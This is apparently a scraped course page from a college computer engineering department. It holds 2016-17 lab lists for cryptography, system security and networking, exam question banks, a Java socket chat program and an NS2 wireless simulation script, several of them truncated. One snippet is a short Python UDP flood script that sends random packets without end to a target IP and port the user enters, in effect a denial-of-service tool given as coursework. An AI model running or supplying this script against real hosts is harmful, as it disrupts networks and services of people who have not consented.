ANSARI MUKHTAR

PRACTICAL / EXPERIMENT LIST Name of Faculty: Prof Ansari Mukhtar  Academic Year: 2016 -17   Department: CO  Subject: CSS Class: BE Semester: VII   Cryptography: EXPERIMENT-1: Write a java program for Implementing a Symmetric key cryptography of Caeser Cipher and Product Cipher algorithm. EXPERIMENT-2: Write a java program for Implementing a Symmetric key cryptography of Product Cipher algorithm. EXPERIMENT-3: Study and Implementation of RSA algorithm.   EXPERIMENT-4: Study and Implementation of A5/1 algorithm. EXPERIMENT-5: To study Blowfish algorithm and write a program for encryption and decryption using blowfish generated key. System Security: EXPERIMENT-1: To study and demonstrate SQL Injection by attacking the Local Database. EXPERIMENT-2: To study and demonstrate working of virus on virtual operating system. EXP...

import socket import random sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket bytes=random._urandom(1362) #Creates packet ip=raw_input('Target IP: ') #The IP we are attacking port=input('Port: ') #Port we direct to attack sent= 0 while 1: #Infinitely loops sending packets to the port until the program is exited.     sock.sendto(bytes,(ip,port))     print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)     sent= sent + 1

  EXPERIMENT-1.a : Study of following Network Types. • PAN • LAN • MAN • WAN   EXPERIMENT-1.b : Study of different types of Network cables and Practically implement the cross-wired cable using clamping tool. EXPERIMENT-2.a : Study of following Network Topologies. • Bus • Ring • Star • Mesh • Tree • Hybrid   EXPERIMENT-2.b : Study of following Network Devices in Detail • Repeater • Hub • Switch • Bridge • Router • Gate Way EXPERIMENT-3 : Installation & Configuration of NS2 in Linux environment and building basic LAN topology in NS2. EXPERIMENT-4: Building Dynamic Routing topology using NS2. EXPERIMENT-5: Write a program to find out class of a given IP address, subnet mask & first & last IP address of that block. EXPERIMENT-6: Write a program to build client-server model on different computers. EXPERIMENT-7: Write a program for Congestion Control using :      ...

  1. List and Explain different types of routing. ( 6.b: Dec-12, 5.b: May-13, Marks10) 2. Explain the IPv4 and IPv6 header format in details. (5.b: May-11, 5.a: Dec-11, 4.a: May -12, Marks 10)   3. Write a short note on CIDR. ( 7.d: May-13. Marks 10) 4. Why there is a need for congestion control? What are the different mechanisms? Explain them. ( 4.a: Dec-14, Marks 10) 5. An organization is granted the block 211.17.180.0/24. The administrator wants to create 32 subnets. a. Find the subnet mask. b. Find the number of addresses in each subnets. c. Find the first and last address in subnet 1. d. Find the first and last addresses in subnet 32. ( 4.b: Dec-10 Marks 10) 6. Explain the different elements of transport protocols. ( 2.b: Dec-14,Marks10) 7. Explain how TCP handles error control and flow control. ( 3.a: Dec-14,Marks 10 ) 8.Explain the need for DNS and describe the protocol functioning. ( 2.a: Dec-14, Marks 1...

CLIENT : import java.io.DataInputStream; import java.io.IOException; import java.io.PrintStream; import java.net.Socket; public class Client { public static void main(String a[]) throws IOException { Socket s = new Socket("LocalHost",8000); DataInputStream in=new DataInputStream(s.getInputStream()); DataInputStream inn=new DataInputStream(System.in); PrintStream dos=new PrintStream(s.getOutputStream()); while(true) { String str=in.readLine (); System.out.println("msg received:"+str); if(str.equals("end")) { s.close(); break; } System.out.println("enter the msg to send: "); String str1=inn.readLine (); dos.println(str1); if(str1.equals("end")) { s.close(); break; } } } } SERVER : import java.io.DataInputStream; import java.io.IOException; import java.io.PrintStream; import java.net.ServerSocket; import java.net.Socket; public class Server { public static void main(String a[])throws IOException { ServerSocket ss = new ServerSocket(80...

Explain Data link layer design issues. With a neat diagram compare the uses and functions of different hardware components/devices used in an internetwork. Explain ALOHA in details. What is layering? Discuss the design issues for layers. Draw and explain the architecture and protocol stack of Bluetooth. Describe VLAN in details. Describe Error Detection and Correction techniques. Compare the TCP/IP and OSI refernce models. Explain CSMA protocol. Explain how collisions are handles in CSMA/CD. Explain Encapsulation and Decapsulation in details. Explain Unicasting, Multicasting and Mroadcasting. Explain different framing methods. List and explain different control access protocol. Explain and compare the following: Ethernet, token bus and token ring.

# Define options set val(chan) Channel/WirelessChannel ;# channel type set val(prop) Propagation/TwoRayGround ;# radio-propagation model set val(netif) Phy/WirelessPhy ;# network interface type set val(mac) Mac/802_11 ;# MAC type set val(ifq) Queue/DropTail/PriQueue ;# interface queue type set val(ll) LL ;# link layer type set val(ant) Antenna/OmniAntenna ;# antenna model set val(ifqlen) 50 ;# max packet in ifq set val(nn) 5 ;# number of mobilenodes set val(rp) DSDV ;# routing protocol set val(x) 1000 ;# X dimension of topography set val(y) 1000 ;# Y dimension of topography set val(stop) 30 ;# time of simulation end # Define options set ns [new Simulator] set tracefd [open simple.tr w] set namtrace [open simwrls.nam w] $ns trace-all $tracefd $ns namtrace-all-wireless $namtrace $val(x) $val(y) # set up topography object set topo [new Topography] $topo load_flatgrid $val(x) $val(y) create-god $val(nn) # configure the nodes $ns node-config -adhocRouting $val(rp) \ -llType $val(ll) \ -mac...